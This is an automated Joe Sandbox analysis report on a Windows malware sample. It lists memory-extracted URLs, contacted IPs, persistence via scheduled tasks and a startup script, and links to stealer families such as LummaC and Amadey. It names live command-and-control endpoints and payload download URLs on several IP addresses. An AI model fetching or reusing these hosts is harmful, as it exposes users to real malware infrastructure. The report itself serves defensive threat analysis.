https://discokeyus.lat/api.win	8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://discokeyus.lat/u	8a32a8d958.exe, 0000000D.00000003.3541323759.0000000001520000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3547109867.0000000001526000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://jlgenfekjlfnvtgpegkwr.xyz/3ofn3jf3e2ljk2/index.php003	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://specs.openid.net/extensions/pape/1.0	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/1	1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/Krokodyl02/random.exeS	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/privatepersonalidentifier	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://jlgenfekjlfnvtgpegkwr.xyz/3ofn3jf3e2ljk2/index.php	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000EC7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Baursystempower.exe, 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
http://openid.net/extensions/sreg/1.14http://openid.net/sreg/1.04http://openid.net/sreg/1.1	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
https://stackoverflow.com/q/14436606/23354	Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3320375672.0000000002D11000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3439536718.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3458098302.00000000027A9000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3552484919.0000000002BF1000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/bckosq/random.exeIxm	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://openid.net/xmlns/1.08http://openid.net/signon/1.0	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/london/random.exeg	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/bckosq/random.exeded	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crl.rootca1.amazontrust.com/rootca1.crl0	8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.rootca1.amazontrust.com0:	8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	1de5b2f311.exe, 00000015.00000003.3630288048.0000000003651000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://treehoneyi.click/	ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000002.3733433451.0000000005535000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://194.126.174.112/files/Bawerfools/Autosoundmick.exe	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F4A000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://openid.net/srv/ax/1.0	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://axschema.org/contact/postalCode/businessDhttp://axschema.org/contact/IM/AIMDhttp://axschema.o	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exedll	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click/api2	1de5b2f311.exe, 00000015.00000002.3726139545.0000000003330000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://specs.openid.net/extensions/oauth/1.0	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://axschema.org/contact/postalAddress/homephttp://axschema.org/contact/postalAddressAdditional/h	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://specs.openid.net/extensions/ui/1.0fhttp://specs.openid.net/extensions/ui/1.0/lang-prefhhttp:/	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://openid.net/signon/1.1	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	high
http://openid.net/sreg/1.04http://openid.net/sreg/1.1	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pancakedipyps.click/api)	1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://treehoneyi.click/apiR	ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000002.3722379908.000000000081E000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/bckosq/random.exe8696001	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://194.126.174.112/files/Bawerfools/Bestsoundeffectives.exe	Gxtuum.exe, 00000010.00000002.3722554233.0000000000F33000.00000004.00000020.00020000.00000000.sdmp, Gxtuum.exe, 00000010.00000002.3722554233.0000000000F1B000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-netJ	Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3350482132.0000000003DD4000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000385F000.00000004.00000800.00020000.00000000.sdmp, Gxtuum.exe, 0000000C.00000002.3499306227.00000000037CF000.00000004.00000800.00020000.00000000.sdmp, Target.exe, 0000000F.00000002.3595769580.0000000003CBF000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
https://discokeyus.lat/apiM	8a32a8d958.exe, 0000000D.00000003.3642841459.00000000014C6000.00000004.00000020.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000002.3644810218.00000000014C6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://axschema.org/person/genderFhttp://axschema.org/media/biographyBhttp://axschema.org/pref/langu	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
http://axschema.org/namePersonJhttp://axschema.org/namePerson/prefixHhttp://axschema.org/namePerson/	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
https://lossekniyyt.click/	87c402ca32.exe, 00000009.00000002.3519078465.00000000012B2000.00000004.00000020.00020000.00000000.sdmp, 87c402ca32.exe, 00000009.00000002.3520186206.0000000001339000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://www.idmanagement.gov/schema/2009/05/icam/openid-trust-level1.pdfthttp://www.idmanagement.gov/	87c402ca32.exe, 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	8a32a8d958.exe, 0000000D.00000003.3508264009.000000000154C000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3630982296.000000000333F000.00000004.00000800.00020000.00000000.sdmp	false	high
http://axschema.org/2http://schema.openid.net/2http://openid.net/schema/	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/bckosq/random.exe?	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://pancakedipyps.click:443/api	1de5b2f311.exe, 00000015.00000002.3722439082.0000000000B7C000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.php6	skotes.exe, 00000006.00000002.3727275583.0000000000DAF000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.43/Zu7JuNko/index.php695001	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3727275583.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe, 00000012.00000002.3509655057.0000000000CAB000.00000004.00000020.00020000.00000000.sdmp, 1de5b2f311.exe.6.dr	false	high
http://specs.openid.net/auth/2.0	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://github.com/mgravell/protobuf-neti	Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	8a32a8d958.exe, 0000000D.00000003.3506368216.0000000005BBB000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3629065714.0000000003350000.00000004.00000800.00020000.00000000.sdmp	false	high
https://stackoverflow.com/q/11564914/23354;	Baursystempower.exe, 00000007.00000002.3350482132.0000000003F8D000.00000004.00000800.00020000.00000000.sdmp, Baursystempower.exe, 00000007.00000002.3354109785.00000000054F0000.00000004.08000000.00040000.00000000.sdmp, Gxtuum.exe, 0000000B.00000002.3471820521.000000000383C000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.0000000004151000.00000004.00000800.00020000.00000000.sdmp, Bestsoundeffectives.exe, 00000018.00000002.3709721745.00000000041A5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://treehoneyi.click/z	ece32691cf.exe, 00000017.00000002.3722379908.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	8a32a8d958.exe, 0000000D.00000003.3451148723.0000000005BDB000.00000004.00000800.00020000.00000000.sdmp, 8a32a8d958.exe, 0000000D.00000003.3450767045.0000000005BDD000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561085557.000000000337B000.00000004.00000800.00020000.00000000.sdmp, 1de5b2f311.exe, 00000015.00000003.3561459653.0000000003379000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3661076854.000000000556A000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3660816520.000000000556D000.00000004.00000800.00020000.00000000.sdmp, ece32691cf.exe, 00000017.00000003.3662021957.000000000556A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://31.41.244.11/files/fate/random.exeW	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://31.41.244.11/files/bckosq/random.exe001	skotes.exe, 00000006.00000002.3727275583.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://schemas.openid.net/pape/policies/2007/06/none	87c402ca32.exe, 00000008.00000002.3316354695.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 87c402ca32.exe, 00000008.00000002.3316354695.0000000003452000.00000004.00000800.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.131.246	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	false
104.21.91.209	treehoneyi.click	United States	13335	CLOUDFLARENETUS	false
104.21.23.76	pancakedipyps.click	United States	13335	CLOUDFLARENETUS	false
194.126.174.112	unknown	Netherlands	29802	HVC-ASUS	false
172.67.197.170	discokeyus.lat	United States	13335	CLOUDFLARENETUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
89.35.131.209	cobolrationumelawrtewarms.com	Romania	39668	INTERSAT-ASIonRatiunr33RO	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579015
Start date and time:	2024-12-20 17:40:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 56s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@40/26@19/8
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:43:02	API Interceptor	151090x Sleep call for process: skotes.exe modified
11:43:23	API Interceptor	9x Sleep call for process: 87c402ca32.exe modified
11:43:33	API Interceptor	9x Sleep call for process: 8a32a8d958.exe modified
11:43:36	API Interceptor	254x Sleep call for process: Gxtuum.exe modified
11:43:46	API Interceptor	6x Sleep call for process: 1de5b2f311.exe modified
11:43:53	API Interceptor	4x Sleep call for process: ece32691cf.exe modified
11:44:00	API Interceptor	1x Sleep call for process: Bestsoundeffectives.exe modified
17:42:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:43:26	Task Scheduler	Run new task: Gxtuum path: C:\Users\user\AppData\Local\Temp\23e3360290\Gxtuum.exe
17:43:27	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Target.vbs
17:44:01	Task Scheduler	Run new task: Test Task17 path: C:\ProgramData\wtkb\qcwew.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.131.246	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
treehoneyi.click	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	104.21.91.209
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.180.113
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	172.67.180.113
home.fivetk5ht.top	t3VyxF5MmA.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	iuO4kwUi17.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	nojxbVm8i4.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	QnYodX3dYf.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	WP6s7cCLzr.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	h9CywWZk71.exe	Get hash	malicious	Cryptbot	Browse	185.121.15.192
	icDcFzyHRy.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	185.121.15.192
	5ZH9uXmzGP.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	2M43DSi2cx.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
	HZhObFuFNe.exe	Get hash	malicious	Unknown	Browse	185.121.15.192
pancakedipyps.click	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	104.21.23.76
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer	Browse	172.67.209.202
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.23.76
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.209.202
